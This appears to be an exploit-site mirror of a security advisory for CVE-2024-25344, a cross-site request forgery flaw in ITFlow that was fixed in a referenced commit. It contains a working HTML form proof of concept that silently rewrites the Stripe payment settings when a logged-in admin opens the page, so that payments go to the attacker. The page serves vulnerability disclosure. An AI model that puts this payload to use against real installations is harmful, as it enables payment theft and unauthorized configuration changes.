Advertisement






ITFlow Cross Site Request Forgery

CVE Category Price Severity
CVE-2024-25344 CWE-352 $5000 High
Author Risk Exploitation Type Date
Unknown High Remote 2024-02-22
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2024020072

Below is a copy:

ITFlow Cross Site Request Forgery
# CVE: CVE-2024-25344
# CWE: CWE-352
# Vendor: ITFlow.org
# Affected product: ITFlow - Before commit 432488eca3998c5be6b6b9e8f8ba01f54bc12378
# Discoverer: stehled, WP-Pomoc.cz
# Attack-Type: Remote
# AV: Admin user has to open a page, provided by an attacker, which will then perform malicious request changing system settings.

Open source ITFlow was vulnerable to CSRF prior commit 432488eca3998c5be6b6b9e8f8ba01f54bc12378
This vulnerability allowed an attacker to change system settings such as online payment information and Microsoft Azure SSO credentials.

If admin user is logged in, we can, using provided PoC redirect him to post.php endpoint and make changes to the system. PoC below makes changes to Stripe related settings, which will lead to attacker receiving payments made through the system.

<html>
<form enctype="multipart/form-data" method="POST" action="https://demo.itflow.org/post.php">
    <table>
        <tr><td>edit_online_payment_settings</td><td><input type="text" value="" name="edit_online_payment_settings"></td></tr>
        <tr><td>config_stripe_enable</td><td><input type="text" value="1" name="config_stripe_enable"></td></tr>
        <tr><td>config_stripe_publishable</td><td><input type="text" value="csrf-poc" name="config_stripe_publishable"></td></tr>
        <tr><td>config_stripe_secret</td><td><input type="text" value="csrf-poc-secret" name="config_stripe_secret"></td></tr>
        <tr><td>config_stripe_account</td><td><input type="text" value="1" name="config_stripe_account"></td></tr>
    </table>
    <input type="submit" value="https://demo.itflow.org/post.php">
</form>
</html>

# Reference
https://itflow.org/
https://github.com/itflow-org/itflow/commit/432488eca3998c5be6b6b9e8f8ba01f54bc12378
https://github.com/itflow-org/itflow/commit/8068cb6081e4760860a634c1066b2c64d0ee2d46

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum